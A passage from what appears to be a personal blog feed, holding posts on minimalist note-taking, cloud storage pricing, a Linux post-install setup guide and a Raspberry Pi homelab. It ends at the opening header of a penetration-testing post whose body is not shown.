<h3 id="the-outcome-a-new-philosophy-of-information"><strong>The Outcome: A New Philosophy of Information</strong></h3>
<ul>
  <li><strong>Detachment and Deletion:</strong> I’ve adopted the mentality that everything is destined to disappear. I no longer think twice before deleting something. If a note isn’t actionable, it’s destined for the trash. Keeping a minimalist vault is my new default.</li>
  <li><strong>Avoiding the “Information Void”:</strong> I’ve become hyper-aware of what I store. A note-taking app should be an engine for action, not a dumping ground for the void. Embracing this has been powerful, as I am no longer “attached” to any specific software.</li>
  <li><strong>Subtractive Growth:</strong> A healthy vault should have <strong>fewer</strong> notes over time, not more. My goal is to continuously prune and reduce, moving toward a purely minimalist, action-oriented workflow.</li>
</ul>

<p>Archive /onHold / done project  must be added to GitHub. Why to keep them locally?</p>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Self-development" /><category term="Self-development" /><category term="Obsidian" /><category term="Note-taking" /><category term="Productivity" /><category term="Knowledge Management" /><category term="PARA Method" /><category term="GitHub" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">(Opinion) Taking Photos: Memories or Just Falling Into Company Traps to Drive People to Spend Money for More Storage?</title><link href="https://el-musleh.github.io/technology/taking-photos-memories-or-company-traps/" rel="alternate" type="text/html" title="(Opinion) Taking Photos: Memories or Just Falling Into Company Traps to Drive People to Spend Money for More Storage?" /><published>2025-12-04T00:00:00+01:00</published><updated>2025-12-04T00:00:00+01:00</updated><id>https://el-musleh.github.io/technology/taking-photos-memories-or-company-traps</id><content type="html" xml:base="https://el-musleh.github.io/technology/taking-photos-memories-or-company-traps/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<p>In an era where every smartphone prompts us to back up our photos to the cloud, we need to stop and ask ourselves: are we preserving memories, or just falling into carefully designed company traps that pressure us to pay for more storage?</p>

<h2 id="the-problem-with-modern-photo-storage">The Problem with Modern Photo Storage</h2>

<p>When you want to share files with others, email attachments with large sizes become impractical. The major cloud providers know this all too well, which is why they offer free storage tiers—typically around 15 GB—that seem generous at first but quickly fill up as you accumulate photos, videos, and documents.</p>

<h3 id="alternatives-to-consider">Alternatives to Consider</h3>

<ul>
  <li><strong>Free Storage Tiers</strong>: Many services offer free storage. You can still use the free 15 GB to share files with people.</li>
  <li><strong><a href="/skills/?tag=Password+Managers" class="cv-skill-tag" data-skill="Password Managers">Password Managers</a>
 with Storage</strong>: Some services like <a href="/skills/?tag=Bitwarden" class="cv-skill-tag" data-skill="Bitwarden">Bitwarden</a>
 offer 1 GB as part of their plans.</li>
  <li>**<a href="/skills/?tag=Torrent-Based+P2P+Transfer" class="cv-skill-tag" data-skill="Torrent-Based P2P Transfer">Torrent-Based P2P Transfer</a>
**: Using <a href="/skills/?tag=torrents" class="cv-skill-tag" data-skill="torrents">torrents</a>
 as <a href="/skills/?tag=peer-to-peer" class="cv-skill-tag" data-skill="peer-to-peer">peer-to-peer</a>
 transfer is how it should be—and it’s somehow private. This approach allows direct file sharing without relying on cloud infrastructure.</li>
</ul>

<p>In worst-case situations, I’m willing to pay for one month of a service when urgently needed, rather than committing to ongoing subscriptions.</p>

<h2 id="cloud-storage">Cloud Storage</h2>

<p><a href="/skills/?tag=Google+Drive" class="cv-skill-tag" data-skill="Google Drive">Google Drive</a>
 remains the cheapest <a href="/skills/?tag=cloud+storage" class="cv-skill-tag" data-skill="cloud storage">cloud storage</a>
 option. I’ll continue using it until I get a clear view and plan to switch to a better alternative with good privacy.</p>

<p>Here’s a comprehensive comparison of various cloud storage services and their pricing:</p>

<table>
  <thead>
    <tr>
      <th>Service</th>
      <th>100GB</th>
      <th>200GB</th>
      <th>300GB</th>
      <th>500GB</th>
      <th>1TB</th>
      <th>2TB</th>
      <th>3TB</th>
      <th>4TB</th>
      <th>5TB</th>
      <th>6TB</th>
      <th>8TB</th>
      <th>16TB</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Google One (best for Mobile)</td>
      <td>19.99 €/y</td>
      <td>29.99€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>99.99€/y <br />(+Google Integration services)</td>
      <td> </td>
      <td> </td>
      <td>€249.99 / year</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>OneDrive - Microsoft personal plan (Office 365)</td>
      <td>23.88 €/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>84€/y</td>
      <td>€99.99 / year</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>120€/y<br />(shared with 2-6 ppl)</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Dropbox - privacy focus</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>120€ (9.99€/m)</td>
      <td>198.96€</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Mega - for meetings</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>99.99€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Amazon photos</td>
      <td>24€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>120€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Amazon S3</td>
      <td> </td>
      <td>57€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>proton.me</td>
      <td> </td>
      <td>48€/y</td>
      <td> </td>
      <td>120€/y</td>
      <td>180€/y</td>
      <td> </td>
      <td>288€/y<br />(shared with 2-6 ppl)</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Peergos</td>
      <td> </td>
      <td>42.84€/y</td>
      <td> </td>
      <td> </td>
      <td>114.24€/y</td>
      <td> </td>
      <td>285.60€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>tresorit (E2EE)</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>48€/y</td>
      <td>120€/y</td>
      <td> </td>
      <td> </td>
      <td>288€/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Asus Webcloud</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>66.99 €/y</td>
      <td>116.99 €/y</td>
      <td>166.99 €/y</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Stingle Photos</td>
      <td>$29.90/year</td>
      <td> </td>
      <td>$49.99/year</td>
      <td> </td>
      <td>$111.99/year</td>
      <td> </td>
      <td>$359.99/year</td>
      <td> </td>
      <td>$599.99/year</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>mega.io (E2EE)</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>€99.99</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>€199.99</td>
      <td>€299.99</td>
    </tr>
    <tr>
      <td>Yandex</td>
      <td> </td>
      <td>$16,49</td>
      <td> </td>
      <td> </td>
      <td>$28,99</td>
      <td> </td>
      <td>$71,99</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Proton</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>119€</td>
      <td>179€</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>⚠️ <strong>Important Note</strong>: Dropbox has issues with folders and file names that contain emojis—they are not supported in Syncing Notebook. However, the issue is related to UTF encoding. The emojis that aren’t working (along with many other, newer emojis) use 4 bytes, which our filesystem doesn’t support. The emojis that do work on Dropbox.com are those that use less than 4 bytes.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>The choice of cloud storage ultimately depends on your specific needs—whether you prioritize cost, privacy, cross-platform integration, or end-to-end encryption. The key is to be aware of the traps set by companies to trap you into their ecosystems and pressure you into upgrading for more storage.</p>

<p>Think carefully about what you’re actually trying to achieve: preserve memories, or just hand over your money to tech companies?</p>]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Technology" /><category term="Cloud Storage" /><category term="Privacy" /><category term="Technology" /><category term="Opinion" /><category term="Data Security" /><category term="Google Drive" /><category term="Dropbox" /><category term="Encryption" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">Linux Post-Install: My Essential Setup Guide</title><link href="https://el-musleh.github.io/technology/linux/linux-post-install-essentials/" rel="alternate" type="text/html" title="Linux Post-Install: My Essential Setup Guide" /><published>2024-03-09T00:00:00+01:00</published><updated>2024-03-09T00:00:00+01:00</updated><id>https://el-musleh.github.io/technology/linux/linux-post-install-essentials</id><content type="html" xml:base="https://el-musleh.github.io/technology/linux/linux-post-install-essentials/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<p>Fresh Linux install? Welcome to the real work. Here’s what I do to turn a barebones system into my daily driver.</p>

<h2 id="software-manager-essentials">Software Manager Essentials</h2>

<p>First round of apps I always install:</p>

<h3 id="productivity--files">Productivity &amp; Files</h3>
<ul>
  <li>**<a href="/skills/?tag=Bitwarden" class="cv-skill-tag" data-skill="Bitwarden">Bitwarden</a>
** – <a href="/skills/?tag=Password+manager" class="cv-skill-tag" data-skill="Password manager">Password manager</a>
 I can’t live without</li>
  <li>**<a href="/skills/?tag=FreeFileSync" class="cv-skill-tag" data-skill="FreeFileSync">FreeFileSync</a>
** – <a href="/skills/?tag=File+synchronization" class="cv-skill-tag" data-skill="File synchronization">File synchronization</a>
 between drives and network locations</li>
  <li>**<a href="/skills/?tag=Obsidian" class="cv-skill-tag" data-skill="Obsidian">Obsidian</a>
** – <a href="/skills/?tag=Note-taking" class="cv-skill-tag" data-skill="Note-taking">Note-taking</a>
 and knowledge management</li>
  <li>**<a href="/skills/?tag=OnlyOffice" class="cv-skill-tag" data-skill="OnlyOffice">OnlyOffice</a>
** – <a href="/skills/?tag=LibreOffice" class="cv-skill-tag" data-skill="LibreOffice">LibreOffice</a>
 alternative, better compatibility with Word/Excel files</li>
</ul>

<h3 id="media--creativity">Media &amp; Creativity</h3>
<ul>
  <li>**<a href="/skills/?tag=GIMP" class="cv-skill-tag" data-skill="GIMP">GIMP</a>
** – <a href="/skills/?tag=Image+editing" class="cv-skill-tag" data-skill="Image editing">Image editing</a>
 (Photoshop alternative)</li>
  <li>**<a href="/skills/?tag=Pi-hole" class="cv-skill-tag" data-skill="Pi-hole">Pi-hole</a>
** – <a href="/skills/?tag=Network-wide+ad+blocking" class="cv-skill-tag" data-skill="Network-wide ad blocking">Network-wide ad blocking</a>
 at the <a href="/skills/?tag=DNS" class="cv-skill-tag" data-skill="DNS">DNS</a>
 level</li>
  <li><strong>Cheese</strong> – Webcam app for video calls</li>
  <li>**<a href="/skills/?tag=DDNS" class="cv-skill-tag" data-skill="DDNS">DDNS</a>
** – Accessible from anywhere using a memorable domain</li>
</ul>

<h3 id="utilities">Utilities</h3>
<ul>
  <li>**<a href="/skills/?tag=Diodon" class="cv-skill-tag" data-skill="Diodon">Diodon</a>
** – <a href="/skills/?tag=Clipboard+manager" class="cv-skill-tag" data-skill="Clipboard manager">Clipboard manager</a>
 (Win+V to paste history)</li>
  <li><strong>Emote</strong> – Emoji picker (Win+. to open)</li>
  <li>**<a href="/skills/?tag=qbittorrent" class="cv-skill-tag" data-skill="qbittorrent">qbittorrent</a>
** – <a href="/skills/?tag=Download+manager" class="cv-skill-tag" data-skill="Download manager">Download manager</a></li>
</ul>

<h3 id="development">Development</h3>
<ul>
  <li>**<a href="/skills/?tag=Python3" class="cv-skill-tag" data-skill="Python3">Python3</a>
**-full</li>
  <li>Git (usually pre-installed)</li>
</ul>

<h2 id="browser-setup">Browser Setup</h2>

<p>My browser stack:</p>

<ul>
  <li>**<a href="/skills/?tag=Chrome" class="cv-skill-tag" data-skill="Chrome">Chrome</a>
** – Primary browser for Google ecosystem</li>
  <li>**<a href="/skills/?tag=Firefox" class="cv-skill-tag" data-skill="Firefox">Firefox</a>
** – <a href="/skills/?tag=Privacy-focused" class="cv-skill-tag" data-skill="Privacy-focused">Privacy-focused</a>
 alternative</li>
  <li>**<a href="/skills/?tag=Mullvad+VPN" class="cv-skill-tag" data-skill="Mullvad VPN">Mullvad VPN</a>
** – For <a href="/skills/?tag=privacy" class="cv-skill-tag" data-skill="privacy">privacy</a>
 on public networks</li>
</ul>

<h3 id="firefox-tweaks">Firefox Tweaks</h3>

<p>I add custom search engines and set up these extensions:</p>
<ul>
  <li>
    <p>**<a href="/skills/?tag=uBlock+Origin" class="cv-skill-tag" data-skill="uBlock Origin">uBlock Origin</a>
** – <a href="/skills/?tag=Ad+blocker" class="cv-skill-tag" data-skill="Ad blocker">Ad blocker</a></p>
  </li>
  <li>
    <p>OneTab – Save tab clusters for later</p>
  </li>
</ul>

<h2 id="keyboard--input">Keyboard &amp; Input</h2>

<h3 id="custom-shortcuts">Custom Shortcuts</h3>

<table>
  <thead>
    <tr>
      <th>Shortcut</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Win + V</td>
      <td>Clipboard history (Diodon)</td>
    </tr>
    <tr>
      <td>Win + .</td>
      <td>Emoji picker</td>
    </tr>
    <tr>
      <td>Win + L</td>
      <td>Lock screen</td>
    </tr>
    <tr>
      <td>Win + Shift + S</td>
      <td>Screenshot (area select)</td>
    </tr>
  </tbody>
</table>

<h3 id="keyboard-layout">Keyboard Layout</h3>

<p>Add German and Arabic keyboards for multilingual typing.</p>

<h2 id="system-applets">System Applets</h2>

<ul>
  <li><strong>Automatic Dark/Light Themes</strong> – Follows sunset automatically</li>
  <li><strong>System Monitor</strong> – CPU/RAM in the panel</li>
  <li><strong>Calendar</strong> – Synced with Google Calendar</li>
</ul>

<h2 id="making-it-feel-like-home">Making It Feel Like Home</h2>

<h3 id="show-hidden-files--extensions">Show Hidden Files &amp; Extensions</h3>

<p>Turn on in file manager view settings. Makes everything less mysterious.</p>

<h3 id="screensaver--lock-screen">Screensaver &amp; Lock Screen</h3>

<p>Disable the default clock and background images. Keep it clean.</p>

<h3 id="print-screen">Print Screen</h3>

<p>Configure to capture selected area (not full screen) and save directly to Desktop:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gsettings <span class="nb">set </span>org.gnome.gnome-screenshot auto-save-directory <span class="s2">"/home/</span><span class="nv">$USER</span><span class="s2">/Desktop"</span>
</code></pre></div></div>

<h2 id="connectivity">Connectivity</h2>

<h3 id="remote-desktop">Remote Desktop</h3>

<p><a href="https://remmina.org/">Remmina</a> – One client for <a href="/skills/?tag=RDP" class="cv-skill-tag" data-skill="RDP">RDP</a>
, <a href="/skills/?tag=VNC" class="cv-skill-tag" data-skill="VNC">VNC</a>
, <a href="/skills/?tag=SSH" class="cv-skill-tag" data-skill="SSH">SSH</a>
, and more.</p>

<h3 id="smart-tv-streaming">Smart TV Streaming</h3>

<p>**<a href="/skills/?tag=Gnome+Network+Displays" class="cv-skill-tag" data-skill="Gnome Network Displays">Gnome Network Displays</a>
** – <a href="/skills/?tag=Cast+screen" class="cv-skill-tag" data-skill="Cast screen">Cast screen</a>
 to TV via WiFi.</p>

<h3 id="virtualbox">VirtualBox</h3>

<p>For running Windows apps when Linux alternatives fail. Install Guest Additions for proper integration.</p>

<h2 id="file-sync-freefilesync">File Sync: FreeFileSync</h2>

<p>My backup workflow:</p>

<ol>
  <li>Set up paired folder comparisons</li>
  <li>Configure Meld as the diff tool:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meld "%local_path%" "%local_path2%"
</code></pre></div>    </div>
  </li>
  <li>Schedule bidirectional syncs for important folders</li>
</ol>

<h2 id="linux-drivers">Linux Drivers</h2>

<p>After a fresh install, back up your drivers:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find current kernel version</span>
<span class="nb">uname</span> <span class="nt">-r</span>

<span class="c"># Backup modules</span>
<span class="nb">sudo </span>rsync <span class="nt">-av</span> /lib/modules/<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-r</span><span class="si">)</span>/ ~/driver_backup/

<span class="c"># Backup firmware</span>
<span class="nb">sudo </span>rsync <span class="nt">-av</span> /etc/modprobe.d/ ~/driver_backup/
<span class="nb">sudo </span>rsync <span class="nt">-av</span> /lib/firmware/ ~/driver_backup/
</code></pre></div></div>

<h2 id="mounting-drives-on-boot">Mounting Drives on Boot</h2>

<p>External drives need to mount automatically. Here’s the method I use:</p>

<h3 id="1-find-the-uuid">1. Find the UUID</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>blkid
</code></pre></div></div>

<h3 id="2-add-to-etcfstab">2. Add to /etc/fstab</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">UUID</span><span class="o">=</span>YOUR-UUID /mnt/drive exfat defaults,uid<span class="o">=</span>1000,gid<span class="o">=</span>1000,umask<span class="o">=</span>000 0 2
</code></pre></div></div>

<h3 id="3-test-without-rebooting">3. Test without rebooting</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>mount <span class="nt">-a</span>
</code></pre></div></div>

<blockquote>
  <p><strong>exFAT tip:</strong> If you’re mounting for Ollama or other services, use the correct UID/GID (find with <code class="language-plaintext highlighter-rouge">id username</code>).</p>
</blockquote>

<h2 id="voice-dictation">Voice Dictation</h2>

<p>Want Voice-to-Text? Try these options:</p>

<ul>
  <li><strong>Speech Note</strong> (Flatpak) – Quick and easy</li>
  <li><strong>Whisper-Obsidian Plugin</strong> – For voice notes inside Obsidian</li>
  <li><strong>nerd-dictation</strong> – Open-source alternative to Dragon</li>
</ul>

<h2 id="flatpak-app-management">Flatpak App Management</h2>

<p>For sandboxed apps, install <a href="https://github.com/tchx84/Flatseal">Flatseal</a> to manage permissions without getting messy.</p>

<h2 id="common-issues--fixes">Common Issues &amp; Fixes</h2>

<h3 id="anki-wont-open-qtx11-error">Anki won’t open (Qt/X11 error)</h3>

<p>Install missing XCB libraries:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>libxcb-xinerama0 libxcb-xinerama0-dev libxcb-cursor0
</code></pre></div></div>

<h3 id="fingerprint-login-not-working">Fingerprint login not working</h3>

<p>Usually a driver issue—check Settings &gt; Privacy &gt; Login.</p>

<h2 id="whats-missing">What’s Missing?</h2>

<p>Still on my list:</p>
<ul>
  <li>Full disk encryption setup</li>
  <li>Better backup strategy (offsite)</li>
  <li>Custom dotfiles management</li>
</ul>

<hr />

<p><em>What’s your post-install ritual? Drop a comment below with your must-have apps.</em></p>

<hr />]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="Technology" /><category term="Linux" /><category term="Linux" /><category term="Setup" /><category term="Productivity" /><category term="System Administration" /><category term="Development Environment" /><category term="Open Source" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">My Raspberry Pi Homelab: From Zero to Self-Hosted</title><link href="https://el-musleh.github.io/diy/technology/my-raspberry-pi-homelab-journey/" rel="alternate" type="text/html" title="My Raspberry Pi Homelab: From Zero to Self-Hosted" /><published>2024-03-09T00:00:00+01:00</published><updated>2024-03-09T00:00:00+01:00</updated><id>https://el-musleh.github.io/diy/technology/my-raspberry-pi-homelab-journey</id><content type="html" xml:base="https://el-musleh.github.io/diy/technology/my-raspberry-pi-homelab-journey/"><![CDATA[<div class="notice--info">
  <p><strong>🤖 AI Disclosure:</strong> For transparency, the content of this page was partially or mainly created with AI assistance tools.</p>
</div>

<p>I’ve been running a Raspberry Pi homelab for years now. What started as a way to host my personal website turned into a full-fledged home server that handles media, downloads, ad-blocking, and more.</p>

<p>This is the story of what I’ve built—and what’s still on the todo list.</p>

<h2 id="the-beginning">The Beginning</h2>

<p>It started simple: I wanted a place to host my website. A cheap <a href="/skills/?tag=Raspberry+Pi" class="cv-skill-tag" data-skill="Raspberry Pi">Raspberry Pi</a>
 connected to my home internet seemed like the perfect solution. No monthly hosting fees, full control, and a great learning experience.</p>

<p>That was years ago. Here’s what the journey looked like.</p>

<h2 id="what-ive-built-so-far">What I’ve Built (So Far)</h2>

<p>Here’s my progress on the Pi—a mix of completed projects and things I’m still working on:</p>

<h3 id="completed-">Completed ✅</h3>

<ul>
  <li><strong><a href="/skills/?tag=VNC" class="cv-skill-tag" data-skill="VNC">VNC</a>
 Remote Control</strong> – Control the Pi with a graphical desktop from anywhere</li>
  <li>**<a href="/skills/?tag=SSH" class="cv-skill-tag" data-skill="SSH">SSH</a>
 &amp; <a href="/skills/?tag=FTP" class="cv-skill-tag" data-skill="FTP">FTP</a>
** – Command-line access and file transfers over the network</li>
  <li>**<a href="/skills/?tag=Website+Hosting" class="cv-skill-tag" data-skill="Website Hosting">Website Hosting</a>
** – Running <a href="/skills/?tag=Apache" class="cv-skill-tag" data-skill="Apache">Apache</a>
 to serve my personal site</li>
  <li>**<a href="/skills/?tag=Plex+Media+Server" class="cv-skill-tag" data-skill="Plex Media Server">Plex Media Server</a>
** – Movies and TV shows served to my TV</li>
  <li>**<a href="/skills/?tag=Pi-hole" class="cv-skill-tag" data-skill="Pi-hole">Pi-hole</a>
** – <a href="/skills/?tag=Network-wide+ad+blocking" class="cv-skill-tag" data-skill="Network-wide ad blocking">Network-wide ad blocking</a>
 at the <a href="/skills/?tag=DNS" class="cv-skill-tag" data-skill="DNS">DNS</a>
 level</li>
  <li>**<a href="/skills/?tag=DDNS" class="cv-skill-tag" data-skill="DDNS">DDNS</a>
** – Accessible from anywhere using a memorable domain</li>
  <li><strong>Chromecast Alternative</strong> – Stream content to my TV using RaspiCast</li>
  <li>**<a href="/skills/?tag=Kali+Linux" class="cv-skill-tag" data-skill="Kali Linux">Kali Linux</a>
** – Bootable <a href="/skills/?tag=penetration+testing" class="cv-skill-tag" data-skill="penetration testing">penetration testing</a>
 OS on micro-SD</li>
</ul>

<h3 id="still-on-the-todo-list">Still on the Todo List</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Buy a domain name and properly host the site</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Steam Link – Stream games from my laptop to the TV via the Pi</li>
  <li class="task-list-item">
    <p>[ ]- **<a href="/skills/?tag=Docker" class="cv-skill-tag" data-skill="Docker">Docker</a>
** – Learn <a href="/skills/?tag=containerization" class="cv-skill-tag" data-skill="containerization">containerization</a></p>
  </li>
  <li class="task-list-item">[ ]- **<a href="/skills/?tag=Personal+VPN" class="cv-skill-tag" data-skill="Personal VPN">Personal VPN</a>
** – Secure browsing from anywhere</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Bluetooth Audio – Wireless headphones connected to the Pi</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Free Proxy – Change my location virtually</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Magic Mirror – Smart display with weather, calendar, news</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Retro Gaming – Old Atari/NES emulation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Home Security Camera – Motion detection and recording</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Mail Server – Self-hosted email (ambitious, I know)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Relay Control – Smart home automation via GPIO pins</li>
</ul>

<h2 id="the-stack">The Stack</h2>

<p>Here’s what actually runs on my Pi:</p>

<p>| Service | Purpose | Port |
|———|———|——|
| <a href="/skills/?tag=Apache" class="cv-skill-tag" data-skill="Apache">Apache</a>
 | <a href="/skills/?tag=Web+server" class="cv-skill-tag" data-skill="Web server">Web server</a>
 | 80, 443 |
| <a href="/skills/?tag=Plex+Media+Server" class="cv-skill-tag" data-skill="Plex Media Server">Plex Media Server</a>
 | <a href="/skills/?tag=Media+streaming" class="cv-skill-tag" data-skill="Media streaming">Media streaming</a>
 | 32400 |
| <a href="/skills/?tag=Pi-hole" class="cv-skill-tag" data-skill="Pi-hole">Pi-hole</a>
 | <a href="/skills/?tag=DNS-based+ad+blocker" class="cv-skill-tag" data-skill="DNS-based ad blocker">DNS-based ad blocker</a>
 | 80 (admin) |
| <a href="/skills/?tag=Deluge" class="cv-skill-tag" data-skill="Deluge">Deluge</a>
 | <a href="/skills/?tag=Torrent+client" class="cv-skill-tag" data-skill="Torrent client">Torrent client</a>
 | 8112 |
| <a href="/skills/?tag=Jackett" class="cv-skill-tag" data-skill="Jackett">Jackett</a>
 | <a href="/skills/?tag=Torrent+indexer" class="cv-skill-tag" data-skill="Torrent indexer">Torrent indexer</a>
 integration | 9117 |
| <a href="/skills/?tag=Radarr" class="cv-skill-tag" data-skill="Radarr">Radarr</a>
 | Movie automation | 7878 |
| <a href="/skills/?tag=Sonarr" class="cv-skill-tag" data-skill="Sonarr">Sonarr</a>
 | TV show automation | 8989 |
| <a href="/skills/?tag=Lidarr" class="cv-skill-tag" data-skill="Lidarr">Lidarr</a>
 | Music automation | 8686 |</p>

<h2 id="key-configurations">Key Configurations</h2>

<h3 id="dynamic-dns">Dynamic DNS</h3>

<p>Since my home <a href="/skills/?tag=IP" class="cv-skill-tag" data-skill="IP">IP</a>
 changes, I use <a href="https://freemyip.com">freemyip.com</a> to keep things accessible:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"https://freemyip.com/update?token=YOUR_TOKEN&amp;domain=yourname.freemyip.com"</span>
</code></pre></div></div>

<p>Set up as a cron job to update every 20 minutes.</p>

<h3 id="port-forwarding">Port Forwarding</h3>

<p>I forward specific ports on my router to access services externally:</p>

<ul>
  <li><strong>80/443</strong> – Web server</li>
  <li><strong>8112</strong> – Deluge (torrent client)</li>
  <li><strong>32400</strong> – Plex</li>
  <li><strong>7878</strong> – Radarr</li>
</ul>

<h3 id="storage">Storage</h3>

<p>An external HDD mounts automatically at boot via <code class="language-plaintext highlighter-rouge">/etc/fstab</code>. This holds all my media and downloads.</p>

<h2 id="pi-hole-the-game-changer">Pi-hole: The Game Changer</h2>

<p>The single most useful thing I installed was <a href="https://pi-hole.net/"><a href="/skills/?tag=Pi-hole" class="cv-skill-tag" data-skill="Pi-hole">Pi-hole</a>
</a>. It blocks ads network-wide—every device on my Wi-Fi benefits. No browser extensions needed, works on phones and smart TVs.</p>

<p>Access the admin panel at <code class="language-plaintext highlighter-rouge">http://pi.hole/admin</code> or via your Pi’s IP address.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<ol>
  <li>
    <p><strong>Static IP is crucial</strong> – Set it in your router or via <code class="language-plaintext highlighter-rouge">dhcpcd.conf</code> so services stay reachable.</p>
  </li>
  <li>
    <p><strong>Cron jobs are lifesavers</strong> – Auto-updates, DDNS refresh, backup scripts—everything runs on autopilot now.</p>
  </li>
  <li>
    <p><strong>External storage pays off</strong> – SD cards have limited write cycles. Keep media and downloads on an external drive.</p>
  </li>
  <li>
    <p><strong>Backup everything</strong> – Docker containers, config files, cron jobs. When something breaks (and it will), you’ll want a copy.</p>
  </li>
  <li>
    <p><strong>Security matters</strong> – Don’t expose more than necessary. Use strong passwords, keep software updated, consider a VPN instead of opening ports.</p>
  </li>
</ol>

<h2 id="whats-next">What’s Next</h2>

<p>The todo list is long, but that’s the point. Docker is the next big learning hurdle. After that, a proper VPN so I can access everything securely from outside the home.</p>

<p>The beauty of a homelab is there’s always something new to try.</p>

<hr />

<p><em>What’s on your homelab todo list? Drop a comment below—I’d love to hear what projects you’re working on.</em></p>

<hr />]]></content><author><name>Mohammad El-Musleh</name><email>mohammad.elmusleh@outlook.com</email></author><category term="DIY" /><category term="Technology" /><category term="Raspberry Pi" /><category term="Homelab" /><category term="Self-hosted" /><category term="Linux" /><category term="Apache" /><category term="Plex" /><category term="Pi-hole" /><category term="Docker" /><category term="VPN" /><category term="Home Server" /><summary type="html"><![CDATA[🤖 AI Disclosure: For transparency, the content of this page was partially or mainly created with AI assistance tools.]]></summary></entry><entry><title type="html">Getting Started with Penetration Testing: My Early Notes</title><link href="https://el-musleh.github.io/security/hacking/Hacking-Penetration-Testing-Notes/" rel="alternate" type="text/html" title="Getting Started with Penetration Testing: My Early Notes" /><published>2016-01-01T00:00:00+01:00</published><updated>2026-03-16T00:00:00+01:00</updated><id>https://el-musleh.github.io/security/hacking/Hacking-Penetration-Testing-Notes</id><content type="html" xml:base="https://el-musleh.github.io/security/hacking/Hacking-Penetration-Testing-Notes/"><![CDATA[<div class="notice--info">
